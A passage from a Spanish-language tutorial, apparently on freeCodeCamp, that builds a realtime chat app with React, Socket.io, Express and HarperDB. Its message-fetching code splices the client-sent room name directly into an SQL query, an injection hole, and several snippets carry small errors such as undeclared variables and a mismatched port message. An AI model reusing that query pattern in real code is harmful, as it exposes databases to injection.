</code></pre><p>Pruébalo: escribe un nombre de usuario y selecciona una sala, luego haz clic en <em>Join Room</em>. Deberías ser dirigido a la ruta <code>http://localhost:3000/chat</code> – actualmente una página vacía.</p><p>Pero antes que creemos nuestra Página <em>Chat</em>, tengamos algo ejecutándose en el servidor.</p><!--kg-card-begin: html--><h2 id="como-configurar-servidor">Cómo configurar el Servidor</h2><!--kg-card-end: html--><p>En el servidor, vamos a escuchar los eventos del socket que son emitidos desde el frontend. Actualmente, solamente tenemos un evento <code>join_room</code> siendo emitido desde React, así que agregaremos este escucha de evento primero.</p><p>Pero antes de eso, necesitamos instalar nuestras dependencias del servidor y tener el servidor activo y ejecutándose.</p><h3 id="1-c-mo-instalar-las-dependencias-del-servidor"><strong>1. Cómo instalar las dependencias del servidor</strong></h3><p>Abre una nueva terminal (en VS Code: <code>Terminal-&gt;Nueva Terminal</code>), cambia la carpeta a nuestra carpeta de servidor, inicializa un archivo package.json, e instala las siguientes dependencias:</p><pre><code class="language-bash">$ cd server
$ npm init -y
$ npm i axios cors express socket.io dotenv
</code></pre><ul><li><strong>Axios</strong> es un paquete usado comunmente para hacer solicitudes fácilmente a APIs.</li><li><strong>Cors</strong> permite a nuestro cliente hacer solicitudes a otros orígenes – necesario para socket.io para que funcione de forma apropiada. Ve ¿<a href="https://aws.amazon.com/es/what-is/cross-origin-resource-sharing/">Qué es el CORS?</a> si no has escuchado de CORS antes.</li><li><strong>Express</strong> es un framework de Node.js que nos permite escribir nuestro backend más fácilmente con menos código.</li><li><strong>Socket.io</strong> es una librería que permite que el cliente y el servidor se comunique a tiempo real – el cual no es posible con solicitudes estándares de HTTP.</li><li><strong>Dotenv</strong> es un módulo que nos permite almacenar claves privadas y contraseñas de forma segura, y cargarlos en nuestro códio cuando sea necesario.</li></ul><p>También instalaremos <strong>nodemon</strong> como una dependencia dev, así no tenemos que reiniciar nuestro servidor cada vez que hagamos un cambio al código – ahorrándonos tiempo y energía:</p><pre><code class="language-bash">$ npm i -D nodemon
</code></pre><h3 id="2-c-mo-iniciar-nuestro-servidor"><strong>2. Cómo iniciar nuestro servidor</strong></h3><p>Crea un archivo <code>index.js</code> en la raíz de nuestra carpeta server, y agrega el siguiente código para iniciar el servidor:</p><pre><code class="language-javascript">// server/index.js

const express = require('express');
const app = express();
const http = require('http');
const cors = require('cors');

app.use(cors()); // Add cors middleware

const server = http.createServer(app);

server.listen(4000, () =&gt; 'Server is running on port 4000');
</code></pre><p>Abre el archivo <code>package.json</code> en nuestro servidor, y agrega un script que nos permitirá usar nodemon en desarrollo:</p><pre><code class="language-json">{
  ...
  "scripts": {
    "dev": "nodemon index.js"
  },
  ...
}
</code></pre><p>Ahora, iniciemos nuestro servidor al ejecutar el siguiente comando:</p><pre><code class="language-bash">$ npm run dev
</code></pre><p>Podemos verificar rápidamente que nuestro servidor se está ejecutando correctamente al agregar un manejador de solicitudes get:</p><pre><code class="language-javascript">// server/index.js

const express = require('express');
const app = express();
http = require('http');
const cors = require('cors');

app.use(cors()); // Agrega cors middleware

const server = http.createServer(app);

// Agrega esto
app.get('/', (req, res) =&gt; {
  res.send('Hello world');
});

server.listen(4000, () =&gt; 'El servidor está ejecutándose en el puerto 3000');
</code></pre><p>Ahora ve a <a href="http://localhost:4000/"><code>http://localhost:4000/</code></a>:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/localhost4000.JPG" class="kg-image" alt="Image" width="600" height="400" loading="lazy"></figure><p>Nuestro servidor está activo y en ejecución. ¡Ahora es tiempo de hacer cosas de Socket.io en el servidor!</p><!--kg-card-begin: html--><h2 id="como-crear-primer-escucha-evento-socketio">Cómo crear nuestro primer Escucha de Evento de Socket.io en el Servidor</h2><!--kg-card-end: html--><p>Recuerda que cuando emitimos un evento <code>joinroom</code> desde el cliente? Bueno, pronto vamos a estar escuchar ese evento en el servidor y agregar el usuario a una sala del socket.</p><p>Pero primero, necesitamos escuchar cuando un cliente se conecte al servidor a través de <code>socket.io-client</code>.</p><pre><code class="language-javascript">// server/index.js

const express = require('express');
const app = express();
http = require('http');
const cors = require('cors');
const { Server } = require('socket.io'); // Agrega esto

app.use(cors()); // Agrega cors middleware

const server = http.createServer(app); // Agrega esto

// Agrega esto
// Crea un servidor io y permite CORS desde http://localhost:3000 con metodos GET y POST
const io = new Server(server, {
  cors: {
    origin: 'http://localhost:3000',
    methods: ['GET', 'POST'],
  },
});

// Agrega esto
// Escucha cuando el cliente se conecta a traves de socket.io-client
io.on('connection', (socket) =&gt; {
  console.log(`User connected ${socket.id}`);

  // Podemos escribir nuestro our socket event listeners in here...
});

server.listen(4000, () =&gt; 'El servidor está ejecutándose en el puerto 3000');
</code></pre><p>Ahora, cuando el cliente se conecta desde el frontend, el backend captura el evento de la conexión, y registrará <code>User connected</code> con el id único del socket para ese cliente particular.</p><p>Probemos si el servidor ahora está captrando el evento de la conección desde el cliente. Ve a tu aplicación de React en <code>http://localhost:3000/</code> y refresca la página.</p><p>Deberías ver el siguiente registro en tu consola de terminal del servidor:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/user-connected.JPG" class="kg-image" alt="Image" width="600" height="400" loading="lazy"></figure><p>Genial, nuestro cliente se ha conectado a nuestro servidor a través de socket.io. Nuestro cliente y servidor ahora se pueden comunicar en, ¡tiempo real!</p><!--kg-card-begin: html--><h2 id="como-funcionan-salas-socketio">Cómo funcionan las Salas en Socket.io</h2><!--kg-card-end: html--><p>Desde la documentación de <a href="https://socket.io/docs/v3/rooms/">Socket.io</a> (no está disponible en español todavía):</p><blockquote><em><em>"</em>Una<em> </em>sala<em> </em>e<em>s </em>u<em>n</em> canal<em> </em>arbitrario<em> </em>al que<em> sockets </em>se puede unir (<em><code>join</code></em>)<em> </em>y abandonar (<em><code>leave</code></em>)<em>. </em>Puede ser usado<em> </em>para emitir<em> event</em>o<em>s </em>a<em> </em>un<em> </em>subconjunto<em> </em>de<em> client</em>e<em>s."</em></em></blockquote><p>Así que, podemos unir el usuario a una sala, y luego el servidor puede enviar mensajes a todos los usuarios en esa sala – permitiendo a los usuarios enviarse mensajes en tiempo real. ¡Genial! </p><h3 id="c-mo-unir-el-usuario-a-una-sala-de-socket-io"><strong>Cómo unir el usuario a una sala de Socket.io</strong></h3><p>Una vez que el usuario se ha conectado a través de Socket.io, podemos agregar nuestros escuchas de eventos del socket en el servidor para escuchar eventos emitidos desde el cliente. También, podemos emitir eventos en el servidor, y esucharlos en el cliente.</p><p>Ahora escuchemos por el evento <code>joinroom</code>, que capture los datos (nombre de usuario y sala), y agregue al usuario a una sala de socket:</p><pre><code class="language-javascript">// server/index.js

// Escuchar cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) =&gt; {
  console.log(`User connected ${socket.id}`);

  // Agrega esto
  // Agrega un usuario a una sala
  socket.on('join_room', (data) =&gt; {
    const { username, room } = data; // Datos enviados desde el cliente cuando el evento join_room se emite
    socket.join(room); // Une el usuario a una sala de socket
  });
});
</code></pre><h3 id="c-mo-enviar-un-mensaje-a-los-usuarios-en-una-sala"><strong>Cómo enviar un mensaje a los usuarios en una sala</strong></h3><p>Ahora enviemos un mensaje a todos los usuarios en la sala, aparte del usuario que se acaba de unir, para notificarlos que un nuevo usuario se ha unido:</p><pre><code class="language-javascript">// server/index.js

const CHAT_BOT = 'ChatBot'; // Agrega esto
// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) =&gt; {
  console.log(`User connected ${socket.id}`);

  // Agrega un usuario a una sala
  socket.on('join_room', (data) =&gt; {
    const { username, room } = data; // Datos enviados desde el cliente cuando el evento join_room se emite
    socket.join(room); // Une el usuario a una sala de socket

    // Agrega esto
    let __createdtime__ = Date.now(); // Marcas de tiempo actuales
    // Envía un mensaje a todos los usuario en la sala, aparte del usuario que se acaba de unir
    socket.to(room).emit('receive_message', {
      message: `${username} has joined the chat room`,
      username: CHAT_BOT,
      __createdtime__,
    });
  });
});
</code></pre><p>Arriba, estamos emitiendo un evento <code>receive_message</code> a todos los clientes en la sala en el que el usuario se acaba de unir, juntamente con algo de dato: el mensaje, el nombre de usuario quien envió el mensaje, y el tiempo en que el mensaje fue enviado.</p><p>Agregaremos un escucha de evento en nuestra aplicación de React un poco después para capturar este evento, y muestra el mensaje en la pantalla.</p><p>También enviemos un mensaje de bienvenida al nuevo usuario recién unido:</p><pre><code class="language-javascript">// server/index.js

io.on('connection', (socket) =&gt; {
  // ...

    // Agrega esto
    // Envía el msg de bienvenida al usuario que se acaba de unir
    socket.emit('receive_message', {
      message: `Welcome ${username}`,
      username: CHAT_BOT,
      __createdtime__,
    });
  });
});
</code></pre><p>Cuando agregamos un usuario a una sala de Socket.io, Socket.io solamente almacena los ids de los sockets para cada usuario. Pero necesitaremos los nombres de usuario de todos en la sala, así también como el nombre de sala. Así que, almacenemos esos datos en variables en el servidor:</p><pre><code class="language-javascript">// server/index.js

// ...

const CHAT_BOT = 'ChatBot';
// Agrega esto
let chatRoom = ''; // Ej. javascript, node,...
let allUsers = []; // Todos los usuarios en la sala de chat actual

// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) =&gt; {
    // ...

    // Agrega esto
    // Guarda el nuevo usuario a la sala
    chatRoom = room;
    allUsers.push({ id: socket.id, username, room });
    chatRoomUsers = allUsers.filter((user) =&gt; user.room === room);
    socket.to(room).emit('chatroom_users', chatRoomUsers);
    socket.emit('chatroom_users', chatRoomUsers);
  });
});
</code></pre><p>Arriba, también estamos enviando un arreglo de todo el chatRoomUsers de nuevo al cliente a través del evento <code>chatroomusers</code>, así que podemos listar todos los nombres de usuario en el frontend.</p><p>Antes que agreguemos cualquier otro código a nuestro servidor, volvamos a nuestro frontend y creamos la página <em>Chat</em> – así podemos probar si estamos recibiendo los eventos <code>receivemessage</code>.</p><!--kg-card-begin: html--><h2 id="como-construir-pagina-chat">Cómo construir la Página Chat</h2><!--kg-card-end: html--><p>En tu carpeta cliente, crea dos nuevos archivos:</p><ol><li><code>src/pages/chat/index.js</code></li><li><code>src/pages/chat/styles.module.css</code></li></ol><p>Agreguemos algunos estilos que usaremos en nuestra página <em>Chat</em> y componentes:</p><pre><code class="language-css">/* client/src/pages/chat/styles.module.css */

.chatContainer {
  max-width: 1100px;
  margin: 0 auto;
  display: grid;
  grid-template-columns: 1fr 4fr;
  gap: 20px;
}

/* Room and users component */
.roomAndUsersColumn {
  border-right: 1px solid #dfdfdf;
}
.roomTitle {
  margin-bottom: 60px;
  text-transform: uppercase;
  font-size: 2rem;
  color: #fff;
}
.usersTitle {
  font-size: 1.2rem;
  color: #fff;
}
.usersList {
  list-style-type: none;
  padding-left: 0;
  margin-bottom: 60px;
  color: rgb(153, 217, 234);
}
.usersList li {
  margin-bottom: 12px;
}

/* Messages */
.messagesColumn {
  height: 85vh;
  overflow: auto;
  padding: 10px 10px 10px 40px;
}
.message {
  background: rgb(0, 24, 111);
  border-radius: 6px;
  margin-bottom: 24px;
  max-width: 600px;
  padding: 12px;
}
.msgMeta {
  color: rgb(153, 217, 234);
  font-size: 0.75rem;
}
.msgText {
  color: #fff;
}

/* Message input and button */
.sendMessageContainer {
  padding: 16px 20px 20px 16px;
}
.messageInput {
  padding: 14px;
  margin-right: 16px;
  width: 60%;
  border-radius: 6px;
  border: 1px solid rgb(153, 217, 234);
  font-size: 0.9rem;
}
</code></pre><p>Ahora, veamos cómo terminará luciendo nuestra página <em>Chat</em>:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/chat-page.JPG" class="kg-image" alt="The finished chat page" width="600" height="400" loading="lazy"></figure><p>Agregando todo el código y lógica para esta página en un archivo podría volverse confuso y difícil de manejar, así que aprovechemos el hecho de que estamos usando un framework de frontend fabuloso (React) y <strong>dividir nuestra página en componentes:</strong></p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/image-248.png" class="kg-image" alt="The chat page split into three components" width="600" height="400" loading="lazy"></figure><h3 id="los-componentes-de-la-p-gina-chat-"><strong>Los componentes de la página chat:</strong></h3><p><strong><strong>A</strong></strong>: Contiene el nombre de la sala, una lista de usuarios en esa sala, y un botón "Leave" que quitar al usuario desde la sala.</p><p><strong><strong>B</strong></strong>: Los mensajes enviados. Al inicio de la renderización, los últimos 100 mensajes enviados en esa sala será solicitado desde la base de datos y mostrado al usuario.</p><p><strong><strong>C</strong></strong>: Una entrada y botón para escribir y enviar un mensaje.</p><p>Primero crearemos el componente B, así podemos mostrar los mensajes al usuario.</p><!--kg-card-begin: html--><h2 id="como-crear-componente-messages">Cómo crear el Componente Messages (B)</h2><!--kg-card-end: html--><p>Crea un nuevo archivo en <code>src/pages/chat/messages.js</code> y agrega el siguiente código:</p><pre><code class="language-jsx">// client/src/pages/chat/messages.js

import styles from './styles.module.css';
import { useState, useEffect } from 'react';

const Messages = ({ socket }) =&gt; {
  const [messagesRecieved, setMessagesReceived] = useState([]);

  // Se ejecuta cuando sea que un evento del socket es recibido desde el servidor
  useEffect(() =&gt; {
    socket.on('receive_message', (data) =&gt; {
      console.log(data);
      setMessagesReceived((state) =&gt; [
        ...state,
        {
          message: data.message,
          username: data.username,
          __createdtime__: data.__createdtime__,
        },
      ]);
    });

    // Quita la escucha del evento al desmontar el componente
    return () =&gt; socket.off('receive_message');
  }, [socket]);

  // dd/mm/yyyy, hh:mm:ss
  function formatDateFromTimestamp(timestamp) {
    const date = new Date(timestamp);
    return date.toLocaleString();
  }

  return (
    &lt;div className={styles.messagesColumn}&gt;
      {messagesRecieved.map((msg, i) =&gt; (
        &lt;div className={styles.message} key={i}&gt;
          &lt;div style={{ display: 'flex', justifyContent: 'space-between' }}&gt;
            &lt;span className={styles.msgMeta}&gt;{msg.username}&lt;/span&gt;
            &lt;span className={styles.msgMeta}&gt;
              {formatDateFromTimestamp(msg.__createdtime__)}
            &lt;/span&gt;
          &lt;/div&gt;
          &lt;p className={styles.msgText}&gt;{msg.message}&lt;/p&gt;
          &lt;br /&gt;
        &lt;/div&gt;
      ))}
    &lt;/div&gt;
  );
};

export default Messages;
</code></pre><p>Ahora, tenemos un hook <em>useEffect</em> que se ejecuta cuando sea que el evento del socket se recibe. Luego recibimos los datos del mensaje en el escucha del evento <code>receivemessage</code>. Desde ahí, ponemos el estado <code>messagesReceived</code>, el cual es un arreglo de objetos de mensaje conteniendo el mensaje, nombre de usuario del emisor, y la fecha del mensaje que fue enviado.</p><p>Importemos nuestro nuevo componentes de mensajes en la página <em>Chat</em>, y luego creemos una ruta para la página <em>Chat</em> en <code>App.js</code>:</p><pre><code class="language-jsx">// client/src/pages/chat/index.js

import styles from './styles.module.css';
import MessagesReceived from './messages';

const Chat = ({ socket }) =&gt; {
  return (
    &lt;div className={styles.chatContainer}&gt;
      &lt;div&gt;
        &lt;MessagesReceived socket={socket} /&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  );
};

export default Chat;
</code></pre><pre><code class="language-jsx">// client/src/App.js

import './App.css';
import { useState } from 'react';
import Home from './pages/home';
import Chat from './pages/chat';
import { BrowserRouter as Router, Routes, Route } from 'react-router-dom';
import io from 'socket.io-client';

const socket = io.connect('http://localhost:4000');

function App() {
  const [username, setUsername] = useState('');
  const [room, setRoom] = useState('');

  return (
    &lt;Router&gt;
      &lt;div className='App'&gt;
        &lt;Routes&gt;
          &lt;Route
            path='/'
            element={
              &lt;Home
                username={username}
                setUsername={setUsername}
                room={room}
                setRoom={setRoom}
                socket={socket}
              /&gt;
            }
          /&gt;
          {/* Add this */}
          &lt;Route
            path='/chat'
            element={&lt;Chat username={username} room={room} socket={socket} /&gt;}
          /&gt;
        &lt;/Routes&gt;
      &lt;/div&gt;
    &lt;/Router&gt;
  );
}

export default App;
</code></pre><p>Probemos esto, ve a la página principal y únete a una sala:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/joining-a-room.JPG" class="kg-image" alt="Joining a room as Dan" width="600" height="400" loading="lazy"></figure><p>Deberíamos ser llevados a la página <em>Chat</em>, y recibir un mensaje de bienvenida del <em>ChatBot</em>:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/welcome-message.JPG" class="kg-image" alt="Welcome message received from ChatBot" width="600" height="400" loading="lazy"></figure><p>Los usuarios ahora pueden ver los mensajes que reciben. ¡Genial!</p><p>Próximo: configurar nuestra base de datos así podemos guardar los mensajes permanentemente.</p><!--kg-card-begin: html--><h2 id="como-crear-esquema-y-tabla-harperdb">Cómo crear un Esquema y una Tabla en HarperDB</h2><!--kg-card-end: html--><p>Vuelve a tu dashboard de HarperDB, y haz clic en "browser". Luego crea un nuevo esquemos llamado "realtime_chat_app". Un esquema es simplemente un grupo de tablas.</p><p>Dentro de ese esquema, crea una tabla llamada "messages", con un atributo hash de "id".</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/image-258.png" class="kg-image" alt="Creating our schema and table in HarperDB" width="600" height="400" loading="lazy"></figure><p>Ahora tenemos necestiamos donde almacenar los mensajes, así que creemos el componente <em>SendMessage</em>.</p><!--kg-card-begin: html--><h2 id="como-crear-componente-send-message">Cómo crear el componente Send Message (C)</h2><!--kg-card-end: html--><p>Crea el archivo <code>src/pages/chat/send-message.js</code> y agrega el siguiente código:</p><pre><code class="language-jsx">// client/src/pages/chat/send-message.js

import styles from './styles.module.css';
import React, { useState } from 'react';

const SendMessage = ({ socket, username, room }) =&gt; {
  const [message, setMessage] = useState('');

  const sendMessage = () =&gt; {
    if (message !== '') {
      const __createdtime__ = Date.now();
      // Envia un mensaje al servidor. No podemos especificar a quien enviamos el mensaje desde el frontend. Solamente podemos enviar al servidor. El servidor por lo tanto puede enviar un mensaje al resto de los usuarios en la sala
      socket.emit('send_message', { username, room, message, __createdtime__ });
      setMessage('');
    }
  };

  return (
    &lt;div className={styles.sendMessageContainer}&gt;
      &lt;input
        className={styles.messageInput}
        placeholder='Message...'
        onChange={(e) =&gt; setMessage(e.target.value)}
        value={message}
      /&gt;
      &lt;button className='btn btn-primary' onClick={sendMessage}&gt;
        Send Message
      &lt;/button&gt;
    &lt;/div&gt;
  );
};

export default SendMessage;
</code></pre><p>Arriba, cuando el usuario hace clic en el botón "Send Message", un evento del socket <code>send_message</code> se emite al servidor, junto con un objeto de mensaje. Manejaremos este evento en el servidor dentro de poco.</p><p>Importa <em>SendMessage</em> en nuestra página Chat:</p><pre><code class="language-js">// src/pages/chat/index.js

import styles from './styles.module.css';
import MessagesReceived from './messages';
import SendMessage from './send-message';

const Chat = ({ username, room, socket }) =&gt; {
  return (
    &lt;div className={styles.chatContainer}&gt;
      &lt;div&gt;
        &lt;MessagesReceived socket={socket} /&gt;
        &lt;SendMessage socket={socket} username={username} room={room} /&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  );
};

export default Chat;
</code></pre><p>La página <em>Chat</em> ahora luce así:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/image-259.png" class="kg-image" alt="Chat page now has a message input where a message can be typed and sent" width="600" height="400" loading="lazy"></figure><p>Luego necesitamos configurar nuestras variables de entorno de HarperDB así podemos comenzar a interactuar con la base de datos.</p><!--kg-card-begin: html--><h2 id="como-configurar-variables-entorno-harperdb">Cómo configurar las Variables de Entorno de HarperDB </h2><!--kg-card-end: html--><p>Para que seas capaz de guardar los mensajes en HarperDB, necesitarás tu URL de instancia de HarperDB, y tu contraseña API.</p><p>En tu dashboard de HarperDB, haz clic en tu instancia, luego ve a "config". Encontrarás tu URL de instancia, y la cabecera de Autenticación de API de tu instancia – eso es, tu contraseña "super_user" que te permite realizar cualquier solicitud a la base de datos – ¡PARA TUS OJOS SOLAMENTE!</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/image-263.png" class="kg-image" alt="HarperDB instance URL and API auth header" width="600" height="400" loading="lazy"></figure><p>Guardaremos estas variables en un archivo .env. <strong>Advertencia: ¡No empujes el archivo .env a Github!</strong> Este archivo no debería ser visible públicamente. Las variables se cargan a través del servidor por detrás.</p><p>Crea los siguientes archivos y agrega tu URL y contraseña de HarperDB:</p><pre><code class="language-bash">// server/.env

HARPERDB_URL="&lt;tu url va aqui&gt;"
HARPERDB_PW="Basic &lt;tu contraseña aqui&gt;"
</code></pre><p>También crearemos un archivo <code>.gitignore</code> para evitar que el .env se suba a Github, juntamente con la carpeta <code>node_modules</code>:</p><pre><code class="language-bash">// server/.gitignore

.env
node_modules
</code></pre><p><strong>Nota</strong>: ser bueno en Git y Github es 100% imprescindible para todos los desarrolladores. Revisa <a href="https://www.doabledanny.com/git-workflows">mi artículo de los flujos de trabajo de Git</a> si necesitas mejorar tu juego de Git.</p><p>O si constantemente te encuentras revisando los mismos comandos de Git, y quieres una forma rápida de verlos, y copiar/pegar los comandos – revisa mi <a href="https://doabledanny.gumroad.com/l/git-commands-cheat-sheet-pdf">hoja de trucos de los comandos de Git en PDF</a> y mi <a href="https://doabledanny.gumroad.com/l/git-cheat-sheet-poster">póster de hoja de trucos de Git físico</a>.</p><p>Finalmente, carguemos nuestras variables de entorno en nuestro servidor al agregar este código en la parte superior de nuestro archivo <code>main</code>:</p><pre><code class="language-js">// server/index.js

require('dotenv').config();
console.log(process.env.HARPERDB_URL); // quita esto despues que hayas visto que funcionó
const express = require('express');
// ...
</code></pre><!--kg-card-begin: html--><h2 id="como-permitir-a-usuarios-envien-mensajes-con-socketio">Cómo permitir a los Usuarios que se envíen mensajes con Socket.io</h2><!--kg-card-end: html--><p>En el servidor, escucharemos el evento <code>sendmessage</code>, luego enviaremos el mensaje a todos los usuarios dentro de la sala:</p><pre><code class="language-js">// server/index.js

const express = require('express');
// ...
const harperSaveMessage = require('./services/harper-save-message'); // Agrega esto

// ...

// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) =&gt; {

  // ...

  // Agrega esto
  socket.on('send_message', (data) =&gt; {
    const { message, username, room, __createdtime__ } = data;
    io.in(room).emit('receive_message', data); // Envia a todos los usuarios en la sala, incluyendo al emisor
    harperSaveMessage(message, username, room, __createdtime__) // Guarda el mensaje en la bd
      .then((response) =&gt; console.log(response))
      .catch((err) =&gt; console.log(err));
  });
});

server.listen(4000, () =&gt; 'El Servidor se está ejecutando en el puerto 3000');
</code></pre><p>Ahora necesitamos crear la función <code>harperSaveMessage</code>. Crea un nuevo archivo en <code>server/services/harper-save-message.js</code>, y agrega lo siguiente:</p><pre><code class="language-js">// server/services/harper-save-message.js

var axios = require('axios');

function harperSaveMessage(message, username, room) {
  const dbUrl = process.env.HARPERDB_URL;
  const dbPw = process.env.HARPERDB_PW;
  if (!dbUrl || !dbPw) return null;

  var data = JSON.stringify({
    operation: 'insert',
    schema: 'realtime_chat_app',
    table: 'messages',
    records: [
      {
        message,
        username,
        room,
      },
    ],
  });

  var config = {
    method: 'post',
    url: dbUrl,
    headers: {
      'Content-Type': 'application/json',
      Authorization: dbPw,
    },
    data: data,
  };

  return new Promise((resolve, reject) =&gt; {
    axios(config)
      .then(function (response) {
        resolve(JSON.stringify(response.data));
      })
      .catch(function (error) {
        reject(error);
      });
  });
}

module.exports = harperSaveMessage;
</code></pre><p>Arriba, guardar los datos podria tomar un poco de tiempo, así que devolvemos una promesa el cual será resuelto si los datos se guardan satisfactoriamente, o rechazada si no se guardan.</p><p>Si te estás preguntando donde obtuve el código de arriba, HarperDB provee una sección increíble de "<a href="https://studio.harperdb.io/resources/examples/QuickStart%20Examples/Create%20dev%20Schema">ejemplos de código</a>" en su dashboard studio, el cual nos facilita la vida:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/image-265.png" class="kg-image" alt="HarperDB code examples" width="600" height="400" loading="lazy"></figure><p>¡Tiempo de descanso! Únete a una sala como un usuario, luego envía un mensaje. Luego ve a HarperDB y haz clic en "browse", luego haz clic en la tabla "messages". Deberías ver tú mensaje en la base de datos:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/image-264.png" class="kg-image" alt="Our first messages in the database" width="600" height="400" loading="lazy"></figure><p>Genial 😎. Así que, ¿ahora qué? Bueno, sería bueno si los últimos 100 mensajes enviados en la sala fueran cargados cuando un usuario se una a &nbsp;una sala, ¿no?</p><!--kg-card-begin: html--><h2 id="como-obtener-mensajes-desde-harperdb">Cómo obtener los mensajes desde HarperDB</h2><!--kg-card-end: html--><p>En el servidor, creemos una función que solicite los últimos 100 mensajes enviados en una sala particular (fíjate cómo HarperDB también nos permite usar solicitudes de SQL 👌):</p><pre><code class="language-js">// server/services/harper-get-messages.js

let axios = require('axios');

function harperGetMessages(room) {
  const dbUrl = process.env.HARPERDB_URL;
  const dbPw = process.env.HARPERDB_PW;
  if (!dbUrl || !dbPw) return null;

  let data = JSON.stringify({
    operation: 'sql',
    sql: `SELECT * FROM realtime_chat_app.messages WHERE room = '${room}' LIMIT 100`,
  });

  let config = {
    method: 'post',
    url: dbUrl,
    headers: {
      'Content-Type': 'application/json',
      Authorization: dbPw,
    },
    data: data,
  };

  return new Promise((resolve, reject) =&gt; {
    axios(config)
      .then(function (response) {
        resolve(JSON.stringify(response.data));
      })
      .catch(function (error) {
        reject(error);
      });
  });
}

module.exports = harperGetMessages;
</code></pre><p>Llamaremos a esta función cuando sea que un usuario se una a una sala:</p><pre><code class="language-js">// server/index.js

// ...
const harperSaveMessage = require('./services/harper-save-message');
const harperGetMessages = require('./services/harper-get-messages'); // Add this

// ...

// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) =&gt; {
  console.log(`User connected ${socket.id}`);

  // Agrega un usuario a una sala
  socket.on('join_room', (data) =&gt; {

    // ...

    // Agrega esto
    // Obtiene los últimos 100 mensajes enviados en la sala chat
    harperGetMessages(room)
      .then((last100Messages) =&gt; {
        // console.log('ultimos mensajes', last100Messages);
        socket.emit('last_100_messages', last100Messages);
      })
      .catch((err) =&gt; console.log(err));
  });

 // ...
</code></pre><p>Arriba, si los mensajes se solicitan de forma exitosa, emitimos un evento de Socket.io llamado <code>last_100_messages</code>. Ahora escucharemos este evento en el frontend.</p><!--kg-card-begin: html--><h2 id="como-mostrar-ultimos-100-mensajes-en-el-cliente">Cómo mostrar los últimos 100 mensajes en el Cliente</h2><!--kg-card-end: html--><p>Abajo, agregamos un hook useEffect que contiene un escucha de evento de Socket.io para el evento <code>last_100_messages</code><em>. </em>Desde ahí, los mensajes son ordenados en orden de fecha, con el más reciente al final, y el estado <code>messagesReceived</code> se actualiza.</p><p>Cuando <code>messagesReceived</code> se actualiza, un useEffect se ejecuta para desplazar el div <code>messageColumn</code> al mensaje más reciente. Esto mejora la experiencia de usuario de nuestra aplicación 👍.</p><pre><code class="language-js">// client/src/pages/chat/messages.js

import styles from './styles.module.css';
import { useState, useEffect, useRef } from 'react';

const Messages = ({ socket }) =&gt; {
  const [messagesRecieved, setMessagesReceived] = useState([]);

  const messagesColumnRef = useRef(null); // Add this

  // Se ejecuta cuando sea que un evento del socket se reciba desde el servidor
  useEffect(() =&gt; {
    socket.on('receive_message', (data) =&gt; {
      console.log(data);
      setMessagesReceived((state) =&gt; [
        ...state,
        {
          message: data.message,
          username: data.username,
          __createdtime__: data.__createdtime__,
        },
      ]);
    });

    // Quita el escucha de eventos al desmontarse el componente 
    return () =&gt; socket.off('receive_message');
  }, [socket]);

  // Agrega esto
  useEffect(() =&gt; {
    // Ultimos 100 mensajes enviados en la sala chat (solicitados desde la bd en el backend)
    socket.on('last_100_messages', (last100Messages) =&gt; {
      console.log('Last 100 messages:', JSON.parse(last100Messages));
      last100Messages = JSON.parse(last100Messages);
      // Ordena estos mensajes por __createdtime__
      last100Messages = sortMessagesByDate(last100Messages);
      setMessagesReceived((state) =&gt; [...last100Messages, ...state]);
    });

    return () =&gt; socket.off('last_100_messages');
  }, [socket]);

  // Agrega esto
  // Se desplaza al mensaje más reciente
  useEffect(() =&gt; {
    messagesColumnRef.current.scrollTop =
      messagesColumnRef.current.scrollHeight;
  }, [messagesRecieved]);

  // Agrega esto
  function sortMessagesByDate(messages) {
    return messages.sort(
      (a, b) =&gt; parseInt(a.__createdtime__) - parseInt(b.__createdtime__)
    );
  }

  // dd/mm/yyyy, hh:mm:ss
  function formatDateFromTimestamp(timestamp) {
    const date = new Date(timestamp);
    return date.toLocaleString();
  }

  return (
    // Agrega ref a este div
    &lt;div className={styles.messagesColumn} ref={messagesColumnRef}&gt;
      {messagesRecieved.map((msg, i) =&gt; (
        &lt;div className={styles.message} key={i}&gt;
          &lt;div style={{ display: 'flex', justifyContent: 'space-between' }}&gt;
            &lt;span className={styles.msgMeta}&gt;{msg.username}&lt;/span&gt;
            &lt;span className={styles.msgMeta}&gt;
              {formatDateFromTimestamp(msg.__createdtime__)}
            &lt;/span&gt;
          &lt;/div&gt;
          &lt;p className={styles.msgText}&gt;{msg.message}&lt;/p&gt;
          &lt;br /&gt;
        &lt;/div&gt;
      ))}
    &lt;/div&gt;
  );
};

export default Messages;
